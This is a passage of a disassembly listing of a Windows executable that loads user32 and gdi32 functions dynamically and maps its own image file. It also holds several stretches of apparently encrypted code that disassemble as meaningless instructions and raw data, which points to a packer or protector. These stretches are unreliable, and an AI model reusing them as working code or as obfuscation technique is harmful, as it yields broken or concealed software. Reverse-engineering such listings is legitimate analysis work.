		call	ds:dword_49F004	; GetProcAddress
		mov	ds:dword_4A27EC, eax
		push	offset aBeginpaint ; "BeginPaint"
		mov	edx, [ebp+var_10]
		push	edx
		call	ds:dword_49F004	; GetProcAddress
		mov	ds:dword_4A27F0, eax
		push	offset aEndpaint ; "EndPaint"
		mov	eax, [ebp+var_10]
		push	eax
		call	ds:dword_49F004	; GetProcAddress
		mov	ds:dword_4A27F4, eax
		push	offset aGetobjecta ; "GetObjectA"
		mov	ecx, [ebp+var_8]
		push	ecx
		call	ds:dword_49F004	; GetProcAddress
		mov	ds:dword_4A27F8, eax
		push	offset aSelectobject_0 ; "SelectObject"
		mov	edx, [ebp+var_8]
		push	edx
		call	ds:dword_49F004	; GetProcAddress
		mov	ds:dword_4A27FC, eax
		push	offset aDeleteobject_0 ; "DeleteObject"
		mov	eax, [ebp+var_8]
		push	eax
		call	ds:dword_49F004	; GetProcAddress
		mov	ds:dword_4A2800, eax
		push	offset aBitblt_0 ; "BitBlt"
		mov	ecx, [ebp+var_8]
		push	ecx
		call	ds:dword_49F004	; GetProcAddress
		mov	ds:dword_4A2804, eax
		push	offset aGetwindowthrea ; "GetWindowThreadProcessId"
		mov	edx, [ebp+var_10]
		push	edx
		call	ds:dword_49F004	; GetProcAddress
		mov	ds:dword_4A2808, eax
		push	offset aSetactivewindo ; "SetActiveWindow"
		mov	eax, [ebp+var_10]
		push	eax
		call	ds:dword_49F004	; GetProcAddress
		mov	ds:dword_4A280C, eax
		push	offset aSetforegroundw ; "SetForegroundWindow"
		mov	ecx, [ebp+var_10]
		push	ecx
		call	ds:dword_49F004	; GetProcAddress
		mov	ds:dword_4A2810, eax
		push	offset aRegisterclasse ; "RegisterClassExA"
		mov	edx, [ebp+var_10]
		push	edx
		call	ds:dword_49F004	; GetProcAddress
		mov	ds:dword_4A2814, eax
		push	offset aGetsystemmetri ; "GetSystemMetrics"
		mov	eax, [ebp+var_10]
		push	eax
		call	ds:dword_49F004	; GetProcAddress
		mov	ds:dword_4A2818, eax
		push	offset aCreatewindowex ; "CreateWindowExA"
		mov	ecx, [ebp+var_10]
		push	ecx
		call	ds:dword_49F004	; GetProcAddress
		mov	ds:dword_4A281C, eax
		push	offset aGetmessagea ; "GetMessageA"
		mov	edx, [ebp+var_10]
		push	edx
		call	ds:dword_49F004	; GetProcAddress
		mov	ds:dword_4A2820, eax
		push	offset aTranslatemessa ; "TranslateMessage"
		mov	eax, [ebp+var_10]
		push	eax
		call	ds:dword_49F004	; GetProcAddress
		mov	ds:dword_4A2824, eax
		push	offset aDispatchmessag ; "DispatchMessageA"
		mov	ecx, [ebp+var_10]
		push	ecx
		call	ds:dword_49F004	; GetProcAddress
		mov	ds:dword_4A2828, eax
		push	offset aDestroywindo_0 ; "DestroyWindow"
		mov	edx, [ebp+var_10]
		push	edx
		call	ds:dword_49F004	; GetProcAddress
		mov	ds:dword_4A282C, eax
		push	offset aEnumwindows ; "EnumWindows"
		mov	eax, [ebp+var_10]
		push	eax
		call	ds:dword_49F004	; GetProcAddress
		mov	ds:dword_4A2830, eax
		push	offset aDefwindowproca ; "DefWindowProcA"
		mov	ecx, [ebp+var_10]
		push	ecx
		call	ds:dword_49F004	; GetProcAddress
		mov	ds:dword_4A2834, eax
		push	offset aPostmessagea ; "PostMessageA"
		mov	edx, [ebp+var_10]
		push	edx
		call	ds:dword_49F004	; GetProcAddress
		mov	ds:dword_4A2838, eax
		push	offset aCreatethread ; "CreateThread"
		mov	eax, [ebp+var_C]
		push	eax
		call	ds:dword_49F004	; GetProcAddress
		mov	ds:dword_4A283C, eax
		mov	[ebp+var_4], offset dword_4A26A4
		mov	[ebp+var_14], offset dword_4A2840
		jmp	short loc_48FB7A
; ---------------------------------------------------------------------------

loc_48FB71:				; CODE XREF: sub_48F2E0:loc_48FBA9j
		mov	ecx, [ebp+var_4]
		add	ecx, 4
		mov	[ebp+var_4], ecx

loc_48FB7A:				; CODE XREF: sub_48F2E0+88Fj
		mov	edx, [ebp+var_4]
		cmp	edx, [ebp+var_14]
		jz	short loc_48FBAB
		mov	eax, [ebp+var_4]
		cmp	dword ptr [eax], 0
		jnz	short loc_48FBA9
		push	0
		push	0
		push	0
		mov	ecx, [ebp+var_4]
		sub	ecx, offset dword_4A26A0
		sar	ecx, 2
		sub	ecx, 10FFEFFFh
		push	ecx
		call	ds:dword_49F00C	; RaiseException

loc_48FBA9:				; CODE XREF: sub_48F2E0+8A8j
		jmp	short loc_48FB71
; ---------------------------------------------------------------------------

loc_48FBAB:				; CODE XREF: sub_48F2E0+8A0j
		mov	esp, ebp
		pop	ebp
		retn
sub_48F2E0	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_49F298
		push	offset sub_48D54C
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		add	esp, 0FFFFFFD8h
		push	ebx
		push	esi
		push	edi
		mov	[ebp-18h], esp
		mov	dword ptr [ebp-24h], 0FFFFFFFFh
		mov	dword ptr [ebp-20h], 0
		mov	dword ptr [ebp-28h], 0
		mov	dword ptr [ebp-1Ch], 0
		mov	dword ptr [ebp-4], 0
		push	0
		push	0
		push	3
		push	0
		push	1
		push	80000000h
		mov	eax, [ebp+8]
		push	eax
		call	ds:dword_4A26A8	; CreateFileA
		mov	[ebp-24h], eax
		cmp	dword ptr [ebp-24h], 0FFFFFFFFh
		jz	short loc_48FC6C
		push	0
		mov	ecx, [ebp-24h]
		push	ecx
		call	ds:dword_4A2700	; GetFileSize
		mov	[ebp-1Ch], eax
		cmp	dword ptr [ebp-1Ch], 0FFFFFFFFh
		jz	short loc_48FC6C
		push	0
		mov	edx, [ebp-1Ch]
		push	edx
		push	0
		push	2
		push	0
		mov	eax, [ebp-24h]
		push	eax
		call	ds:dword_4A26B0	; CreateFileMappingA
		mov	[ebp-20h], eax
		cmp	dword ptr [ebp-20h], 0
		jz	short loc_48FC6C
		mov	ecx, [ebp-1Ch]
		push	ecx
		push	0
		push	0
		push	4
		mov	edx, [ebp-20h]
		push	edx
		call	ds:dword_4A276C	; MapViewOfFile
		mov	[ebp-28h], eax
		cmp	dword ptr [ebp-28h], 0
		jnz	short loc_48FC76

loc_48FC6C:				; CODE XREF: _4:0048FC19j _4:0048FC2Ej ...
		mov	ecx, 0EF000001h
		call	sub_499342

loc_48FC76:				; CODE XREF: _4:0048FC6Aj
		mov	eax, [ebp-28h]
		mov	ecx, [ebp-28h]
		add	ecx, [eax+3Ch]
		mov	[ebp-30h], ecx
		mov	edx, [ebp-30h]
		cmp	dword ptr [edx], 4550h
		jz	short loc_48FC97
		mov	ecx, 0EF000002h
		call	sub_499342

loc_48FC97:				; CODE XREF: _4:0048FC8Bj
		mov	eax, ds:off_4A269C
		mov	[ebp-34h], eax
		mov	ecx, [ebp-30h]
		mov	edx, [ebp+10h]
		sub	edx, [ecx+34h]
		mov	[ebp-2Ch], edx
		push	1190000h
		call	sub_48EB7E
		add	ds:11417799h, cl ; CODE	XREF: _4:0048FCCBj
		stosd
		add	eax, 1EEE403Fh
		sub	al, 39h
		inc	esi
		cmp	ebx, [eax+1F877A6Dh]
		in	al, dx
		jle	short near ptr loc_48FCB5+2
		inc	ebx
		cwde
		out	dx, al
		pop	es
		xor	eax, [ebx+78F72316h]
		adc	byte ptr [edi+64h], 71h
		jle	short near ptr loc_48FD3B+2
		xchg	eax, ecx
		db	2Eh
		out	77h, eax
		dec	edi
		sbb	esp, edi
		jp	short loc_48FD3B
		lds	edx, [ecx+4B7AFC62h]
		retn
; ---------------------------------------------------------------------------
		db 4Eh,	3Fh, 82h
		dd 0B61C1F80h, 0E756D0C3h, 1E5B226Fh, 6B46D1A8h, 0EE0CA412h
		dd 0D165F518h, 0AB6AFC15h, 0F6588337h, 5A597004h, 1A93DEAh
		dd 35E370C2h, 328E108Eh, 0EA5487D7h, 599515B8h,	0DC957533h
		dd 2AB9E510h, 0F6E956BFh, 41D55588h
		db 0F7h, 6Ch, 0DAh
; ---------------------------------------------------------------------------

loc_48FD3B:				; CODE XREF: _4:0048FCE4j _4:0048FCDBj
		adc	edi, [edi+14D244FBh]
		stc
		jnz	short loc_48FD91

loc_48FD44:				; CODE XREF: _4:0048FD45j
		xchg	eax, edi
		loop	loc_48FD44
		rol	esi, 1
		inc	esp
		stosb
		arpl	bx, si
		and	ebx, [edx+ecx*2+1D4529E4h] ; CODE XREF:	_4:0048FDC7j
		out	68h, al
		mov	esi, 7AF0DD8Eh
		mov	bl, 0DFh
		xchg	eax, ebp
		jno	short loc_48FD9A
		jg	short loc_48FD80
		shr	byte ptr [ebx],	cl
		jg	short loc_48FDCE
		mov	bh, 10h
		cmpsd
		mov	ah, 2Ah
		hlt
; ---------------------------------------------------------------------------
		dd 693DAD50h, 3BA234CFh, 6A1776DFh, 8E90F8F4h, 59E2CEABh
; ---------------------------------------------------------------------------

loc_48FD80:				; CODE XREF: _4:0048FD60j
		mov	ah, [edx+edx*4]
		aam	3Bh
		stosd
		push	7118CCF6h
		jle	short loc_48FDB7
		add	eax, eax
		push	0FFFFFFC4h

loc_48FD91:				; CODE XREF: _4:0048FD42j
		outsb
		loope	near ptr loc_48FDEE+3
		cmpsb
		cmp	al, 76h
		inc	edi
		iret
; ---------------------------------------------------------------------------
		daa

loc_48FD9A:				; CODE XREF: _4:0048FD5Ej
		jge	short near ptr loc_48FDC9+1
		pop	edi
		or	esi, ebp
		aas
		jnb	short near ptr loc_48FE04+2
		db	67h
		das
		mov	bl, 0C0h
		and	al, 0E9h
		sbb	[ebx], cl
		dec	cl
		pop	esi
		aam	35h
		inc	edx
		dec	edi
		pop	esp

loc_48FDB2:				; DATA XREF: _5:0049F2A8o
		and	byte ptr [esi+3Bh], 91h
		popf

loc_48FDB7:				; CODE XREF: _4:0048FD8Bj
		stosb
		mov	bh, 7

loc_48FDBA:				; DATA XREF: _5:0049F2ACo
		pop	edx
		mov	ebx, 0EE403F03h
		pop	ds
		sub	al, 39h
		inc	esi

loc_48FDC4:				; CODE XREF: _4:0048FDD4j
		cmp	edi, [ecx+6Ch]
		jp	short near ptr loc_48FD4D+3

loc_48FDC9:				; CODE XREF: _4:loc_48FD9Aj
		jl	short near ptr loc_48FDD6+6
		inc	ebx
		inc	esp
		aaa

loc_48FDCE:				; CODE XREF: _4:0048FD64j
		nop
		nop
		xor	edx, edx
		test	edx, edx
		jnz	short loc_48FDC4

loc_48FDD6:				; CODE XREF: _4:loc_48FDC9j
		mov	dword ptr [ebp-4], 0FFFFFFFFh
		call	sub_48FDE4
		jmp	short loc_48FE15

; =============== S U B	R O U T	I N E =======================================



sub_48FDE4	proc near		; CODE XREF: _4:0048FDDDp
					; DATA XREF: _5:0049F2A0o
		cmp	dword ptr [ebp-28h], 0
		jz	short loc_48FDF4
		mov	eax, [ebp-28h]
		push	eax

loc_48FDEE:				; CODE XREF: _4:0048FD92j
		call	ds:dword_4A27A0	; UnmapViewOfFile

loc_48FDF4:				; CODE XREF: sub_48FDE4+4j
		cmp	dword ptr [ebp-20h], 0
		jz	short loc_48FE04
		mov	ecx, [ebp-20h]
		push	ecx
		call	ds:dword_4A26A4	; CloseHandle

loc_48FE04:				; CODE XREF: sub_48FDE4+14j
					; _4:0048FDA0j
		cmp	dword ptr [ebp-24h], 0
		jz	short locret_48FE14
		mov	edx, [ebp-24h]
		push	edx
		call	ds:dword_4A26A4	; CloseHandle

locret_48FE14:				; CODE XREF: sub_48FDE4+24j
		retn
sub_48FDE4	endp

; ---------------------------------------------------------------------------

loc_48FE15:				; CODE XREF: _4:0048FDE2j
		mov	ecx, [ebp-10h]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_49F2B0
		push	offset sub_48D54C
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		add	esp, 0FFFFFE88h
		push	ebx
		push	esi
		push	edi
		mov	dword ptr [ebp-20h], 0
		mov	dword ptr [ebp-1Ch], 0
		mov	dword ptr [ebp-4], 0
		push	105h
		call	sub_49935A
		add	esp, 4
		mov	[ebp-184h], eax
		mov	eax, [ebp-184h]
		mov	[ebp-1Ch], eax
		push	104h
		mov	ecx, [ebp-1Ch]
		push	ecx
		push	0
		call	ds:dword_4A2718	; GetModuleHandleA
		push	eax
		call	ds:dword_4A2714	; GetModuleFileNameA
		mov	edx, [ebp+0Ch]
		add	edx, 82h
		mov	[ebp-24h], edx
		mov	eax, [ebp-24h]
		mov	ecx, [eax]
		and	ecx, 4
		neg	ecx
		sbb	ecx, ecx
		neg	ecx
		mov	[ebp-20h], ecx
		cmp	dword ptr [ebp-20h], 0
		jz	loc_48FFFE
		lea	ecx, [ebp-160h]
		call	sub_498798
		mov	dword ptr [ebp-164h], 10h
		push	290000h
		call	sub_48EB7E
		nop
		popf
		sub	ebp, esi
		mov	cl, 93h
		cmp	esi, [ebp-2071CF1Dh]
		adc	[esi+edx], esp
		cmp	eax, 7CBB222Fh
		push	ecx
		cmc
		dec	esp
		retn
; ---------------------------------------------------------------------------
		db 97h,	0B9h, 0ADh
		dd 8ABDEFA0h, 9EAD89FBh, 2913CC7h, 0B285F704h, 96CCFC1Ch
		dd 7F09E16h, 414E5A1Bh,	5268559Ah, 0CEE6F301h, 5A4DC906h
		dd 0AA81500Fh, 2EF9409Bh, 66792330h, 0F898C230h, 0DBDCAA42h
		dd 6D7A86E7h, 0CA3421CFh, 12121F2Ch, 2E21267Bh,	41556C53h
		dd 7AA1946Fh, 5A2D4F5Ch, 37742DE4h, 3A4FF67Eh, 345119B4h
		dd 65810DFEh, 5D294B58h, 6AF5E8E6h, 36541C2Ch, 95B155ABh
		dd 0AD011488h, 0A7053D6Bh, 0EB46731h, 0C4A9AD9Ah, 3BEAABB8h
		dd 2A000177h, 11364351h, 0F5037066h, 3E3124E8h,	0F96AB34Bh
		dd 59670CFAh, 0DB0D434Ch, 0F081716Eh, 0FFB6D7E4h, 8996A2CFh
		dd 2180E38Ch, 212F443Ah, 96907314h, 0CDC6D3E1h,	8593E8D6h
		dd 24A5A778h, 1C5D4D32h, 0DDE20310h, 0C1357DA8h, 818FECC2h
		dd 8EF4A374h, 0E560C6CBh, 0F2E200F3h, 4E41A771h, 82751533h
		dd 5D21748Fh, 90902F3Ch, 0C085C033h
		db 75h,	0EEh
; ---------------------------------------------------------------------------

loc_48FFFE:				; CODE XREF: _4:0048FEC0j
		mov	dword ptr [ebp-4], 0FFFFFFFFh
		call	sub_49000C
		jmp	short loc_490025

; =============== S U B	R O U T	I N E =======================================



sub_49000C	proc near		; CODE XREF: _4:00490005p
					; DATA XREF: _5:0049F2B8o
		mov	ecx, [ebp-1Ch]
		mov	[ebp-188h], ecx
		mov	edx, [ebp-188h]
		push	edx
		call	sub_4993DD
		add	esp, 4
		retn
sub_49000C	endp

; ---------------------------------------------------------------------------

loc_490025:				; CODE XREF: _4:0049000Aj
		mov	ecx, [ebp-10h]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_490036	proc near		; CODE XREF: sub_49C1EA+1Fp

var_38		= dword	ptr -38h
var_30		= byte ptr -30h
var_2C		= dword	ptr -2Ch
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

; FUNCTION CHUNK AT 00490153 SIZE 00000013 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_49F2C0
		push	offset sub_48D54C
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		sub	esp, 20h
		push	ebx
		push	esi
		push	edi

loc_49005B:				; DATA XREF: _2:off_427B6Co
		or	[ebp+var_1C], 0FFFFFFFFh
		push	0
		lea	eax, [ebp+var_1C]
		push	eax
		push	3
		push	80000000h
		push	[ebp+arg_0]
		call	sub_491346
		test	eax, eax
		jz	loc_490153
		cmp	[ebp+var_1C], 0FFFFFFFFh
		jz	loc_490153
		mov	eax, ds:dword_4A28E4
		mov	[ebp+var_2C], eax
		cmp	[ebp+var_2C], 0
		jz	short loc_4900A7
		mov	eax, [ebp+var_2C]
		add	eax, 10h
		push	eax
		call	ds:dword_49F01C	; RtlEnterCriticalSection
		mov	[ebp+var_30], 1
		jmp	short loc_4900AB
; ---------------------------------------------------------------------------

loc_4900A7:				; CODE XREF: sub_490036+5Cj
		and	[ebp+var_30], 0

loc_4900AB:				; CODE XREF: sub_490036+6Fj
		movzx	eax, [ebp+var_30]
		test	eax, eax
		jz	loc_490153
		and	[ebp+var_4], 0
		mov	eax, [ebp+arg_4]
		and	dword ptr [eax], 0
		push	[ebp+var_1C]
		mov	ecx, ds:dword_4A28E4
		call	sub_49C871
		mov	[ebp+var_20], eax
		cmp	[ebp+var_20], 0
		jz	short loc_490120
		push	[ebp+var_1C]
		call	sub_496456
		pop	ecx
		mov	ecx, [ebp+arg_4]
		mov	[ecx], eax
		cmp	[ebp+var_20], 0
		jnz	short loc_4900FF
		push	ds:off_49F4F8
		push	1Fh
		push	ds:off_49F4FC
		call	sub_49948C

loc_4900FF:				; CODE XREF: sub_490036+B4j
		mov	eax, [ebp+var_20]
		mov	eax, [eax]
		mov	[ebp+var_24], eax
		push	0FFFFFFFFh
		mov	[ebp+var_38], 1
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_48D496
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_38]
		jmp	short loc_490155
; ---------------------------------------------------------------------------

loc_490120:				; CODE XREF: sub_490036+A0j
		or	[ebp+var_4], 0FFFFFFFFh
		call	sub_49012B
		jmp	short loc_490153
sub_490036	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_49012B	proc near		; CODE XREF: sub_490036+EEp
					; DATA XREF: _5:0049F2C8o
		mov	eax, ds:dword_4A28E4
		mov	[ebp-34h], eax
		cmp	dword ptr [ebp-34h], 0
		jz	short loc_490146
		mov	eax, [ebp-34h]
		add	eax, 10h
		push	eax
		call	ds:dword_49F018	; RtlLeaveCriticalSection

loc_490146:				; CODE XREF: sub_49012B+Cj
		lea	eax, [ebp-28h]
		push	eax
		push	dword ptr [ebp-1Ch]
		call	sub_491741
		retn
sub_49012B	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_490036

loc_490153:				; CODE XREF: sub_490036+40j
					; sub_490036+4Aj ...
		xor	eax, eax

loc_490155:				; CODE XREF: sub_490036+E8j
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8
; END OF FUNCTION CHUNK	FOR sub_490036

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_490166	proc near		; CODE XREF: sub_490252+1B5p

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		push	edi
		cmp	[ebp+arg_4], 0
		jz	short loc_490187
		mov	ecx, [ebp+arg_4]
		mov	edi, [ebp+arg_8]
		mov	esi, [ebp+arg_0]
		xor	eax, eax
		repe cmpsb
		jnz	loc_49024A

loc_490187:				; CODE XREF: sub_490166+Cj
		push	5Ch
		mov	eax, [ebp+arg_8]
		add	eax, [ebp+arg_4]
		push	eax
		call	sub_48D640
		pop	ecx
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jz	short loc_490216
		mov	eax, [ebp+arg_C]
		mov	byte ptr [eax],	1
		mov	eax, [ebp+arg_8]
		add	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_4]
		sub	ecx, eax
		mov	[ebp+var_C], ecx
		mov	eax, [ebp+var_C]
		inc	eax
		cmp	eax, 80h
		jbe	short loc_4901C6
		xor	eax, eax
		jmp	loc_49024C
; ---------------------------------------------------------------------------

loc_4901C6:				; CODE XREF: sub_490166+57j
		mov	ecx, [ebp+var_C]
		mov	esi, [ebp+arg_8]
		add	esi, [ebp+arg_4]
		mov	edi, offset byte_4A2844
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		mov	eax, [ebp+var_C]
		and	ds:byte_4A2844[eax], 0
		mov	eax, [ebp+arg_10]
		mov	dword ptr [eax], offset	byte_4A2844
		push	offset byte_4A2844
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+arg_4]
		push	eax
		call	sub_48D06B
		pop	ecx
		pop	ecx
		neg	eax
		sbb	eax, eax
		neg	eax
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		jmp	short loc_49024C
; ---------------------------------------------------------------------------

loc_490216:				; CODE XREF: sub_490166+38j
		mov	eax, [ebp+arg_C]
		and	byte ptr [eax],	0
		mov	eax, [ebp+arg_8]
		add	eax, [ebp+arg_4]
		push	eax
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+arg_4]
		push	eax
		call	sub_48D06B
		pop	ecx
		pop	ecx
		neg	eax
		sbb	eax, eax
		neg	eax
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_8]
		add	eax, [ebp+arg_4]
		mov	ecx, [ebp+arg_10]
		mov	[ecx], eax
		mov	eax, [ebp+var_10]
		jmp	short loc_49024C
; ---------------------------------------------------------------------------

loc_49024A:				; CODE XREF: sub_490166+1Bj
		xor	eax, eax

loc_49024C:				; CODE XREF: sub_490166+5Bj
					; sub_490166+AEj ...
		pop	edi
		pop	esi
		leave
		retn	14h
sub_490166	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_490252	proc near		; CODE XREF: sub_49063E+56p
					; sub_4906DE+90p

var_5C		= dword	ptr -5Ch
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= byte ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

; FUNCTION CHUNK AT 0049062B SIZE 00000013 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_49F2D0
		push	offset sub_48D54C
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		sub	esp, 44h
		push	ebx
		push	esi
		push	edi
		push	offset dword_4A28C8
		call	ds:dword_4A26C4	; RtlEnterCriticalSection
		and	[ebp+var_4], 0
		cmp	ds:dword_4A2908, 0
		jnz	short loc_4902A8
		push	0FFFFFFFFh
		and	[ebp+var_4C], 0
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_48D496
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_4C]
		jmp	loc_49062D
; ---------------------------------------------------------------------------

loc_4902A8:				; CODE XREF: sub_490252+3Bj
		and	[ebp+var_24], 0
		lea	eax, [ebp+var_24]
		push	eax
		mov	eax, ds:dword_4A2908
		add	eax, 810h
		push	eax
		push	104h
		push	[ebp+arg_0]
		call	ds:dword_4A2708	; GetFullPathNameA
		mov	[ebp+var_28], eax
		push	[ebp+var_28]
		mov	eax, ds:dword_4A2908
		add	eax, 810h
		push	eax
		call	ds:dword_4A27C8	; CharUpperBuffA
		mov	ecx, [ebp+var_28]
		call	sub_492470
		mov	eax, ds:dword_4A2908
		mov	eax, [eax+0Ch]
		mov	[ebp+var_20], eax
		and	[ebp+var_1C], 0
		and	[ebp+var_2C], 0
		and	[ebp+var_30], 0
		mov	eax, ds:dword_4A2908
		mov	ecx, [eax+0C14h]
		mov	edi, ds:dword_4A2908
		add	edi, 10h
		mov	esi, ds:dword_4A2908
		add	esi, 810h
		xor	eax, eax
		repe cmpsb
		jnz	loc_490614
		mov	eax, ds:dword_4A2908
		mov	eax, [eax+0C14h]
		mov	ecx, ds:dword_4A2908
		lea	eax, [ecx+eax+810h]
		mov	[ebp+var_3C], eax
		and	[ebp+var_38], 0
		push	5Ch
		push	[ebp+var_3C]
		call	sub_48D700
		pop	ecx
		pop	ecx
		mov	[ebp+var_34], eax
		cmp	[ebp+var_34], 0
		jz	short loc_490369
		mov	eax, [ebp+var_34]
		sub	eax, [ebp+var_3C]
		inc	eax
		mov	[ebp+var_38], eax
		jmp	short loc_490395
; ---------------------------------------------------------------------------

loc_490369:				; CODE XREF: sub_490252+109j
		mov	eax, ds:dword_4A2684
		mov	eax, [eax+24h]
		and	eax, 20h
		test	eax, eax
		jnz	short loc_490391
		push	0FFFFFFFFh
		and	[ebp+var_50], 0
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_48D496
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_50]
		jmp	loc_49062D
; ---------------------------------------------------------------------------

loc_490391:				; CODE XREF: sub_490252+124j
		and	[ebp+var_38], 0

loc_490395:				; CODE XREF: sub_490252+115j
		mov	edi, [ebp+var_3C]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		test	ecx, ecx
		jnz	short loc_4903B1
		cmp	[ebp+arg_8], 0
		jnz	short loc_4903B1
		jmp	loc_4905EB
; ---------------------------------------------------------------------------

loc_4903B1:				; CODE XREF: sub_490252+152j
					; sub_490252+158j
		cmp	[ebp+arg_8], 0
		jz	short loc_4903D4
		mov	eax, [ebp+arg_8]
		cmp	dword ptr [eax], 0
		jz	short loc_4903D4
		mov	eax, [ebp+arg_8]
		mov	ecx, ds:dword_4A2908
		mov	eax, [eax]
		sub	eax, [ecx+8]
		sar	eax, 4
		inc	eax
		mov	[ebp+var_1C], eax

loc_4903D4:				; CODE XREF: sub_490252+163j
					; sub_490252+16Bj
		jmp	short loc_4903DD
; ---------------------------------------------------------------------------

loc_4903D6:				; CODE XREF: sub_490252:loc_490412j
		mov	eax, [ebp+var_1C]
		inc	eax
		mov	[ebp+var_1C], eax

loc_4903DD:				; CODE XREF: sub_490252:loc_4903D4j
		mov	eax, [ebp+var_1C]
		cmp	eax, [ebp+var_20]
		jnb	short loc_490414
		lea	eax, [ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_30]
		push	eax
		mov	eax, [ebp+var_1C]
		shl	eax, 4
		mov	ecx, ds:dword_4A2908
		mov	ecx, [ecx+8]
		mov	eax, [ecx+eax]
		push	dword ptr [eax]
		push	[ebp+var_38]
		push	[ebp+var_3C]
		call	sub_490166
		test	eax, eax
		jz	short loc_490412
		jmp	short loc_490414
; ---------------------------------------------------------------------------

loc_490412:				; CODE XREF: sub_490252+1BCj
		jmp	short loc_4903D6
; ---------------------------------------------------------------------------

loc_490414:				; CODE XREF: sub_490252+191j
					; sub_490252+1BEj
		mov	eax, [ebp+var_1C]
		cmp	eax, [ebp+var_20]
		jnb	loc_4905EB
		mov	edi, [ebp+var_2C]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		mov	[ebp+var_48], ecx
		movzx	eax, [ebp+var_30]
		test	eax, eax
		jz	short loc_4904AC
		jmp	short loc_490441
; ---------------------------------------------------------------------------

loc_49043A:				; CODE XREF: sub_490252:loc_4904AAj
		mov	eax, [ebp+var_1C]
		inc	eax
		mov	[ebp+var_1C], eax

loc_490441:				; CODE XREF: sub_490252+1E6j
		mov	eax, [ebp+var_20]
		dec	eax
		cmp	[ebp+var_1C], eax
		jnb	short loc_4904AC
		mov	eax, [ebp+var_1C]
		inc	eax
		shl	eax, 4
		mov	ecx, ds:dword_4A2908
		mov	ecx, [ecx+8]
		mov	eax, [ecx+eax]
		mov	edi, [eax]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		mov	eax, [ebp+var_48]
		add	eax, [ebp+var_38]
		cmp	ecx, eax
		jb	short loc_4904A8
		mov	ecx, [ebp+var_48]
		add	ecx, [ebp+var_38]
		mov	eax, [ebp+var_1C]
		shl	eax, 4
		mov	edx, ds:dword_4A2908
		mov	edx, [edx+8]
		mov	eax, [edx+eax]
		mov	edi, [eax]
		mov	eax, [ebp+var_1C]
		inc	eax
		shl	eax, 4
		mov	edx, ds:dword_4A2908
		mov	edx, [edx+8]
		mov	eax, [edx+eax]
		mov	esi, [eax]
		xor	eax, eax
		repe cmpsb
		jz	short loc_4904AA

loc_4904A8:				; CODE XREF: sub_490252+21Fj
		jmp	short loc_4904AC
; ---------------------------------------------------------------------------

loc_4904AA:				; CODE XREF: sub_490252+254j
		jmp	short loc_49043A
; ---------------------------------------------------------------------------

loc_4904AC:				; CODE XREF: sub_490252+1E4j
					; sub_490252+1F6j ...
		mov	eax, [ebp+var_1C]
		shl	eax, 4
		mov	ecx, ds:dword_4A2908
		mov	ecx, [ecx+8]
		mov	eax, [ecx+eax+4]
		add	eax, [ebp+var_38]
		mov	[ebp+var_2C], eax
		mov	eax, [ebp+var_1C]
		shl	eax, 4
		mov	ecx, ds:dword_4A2908
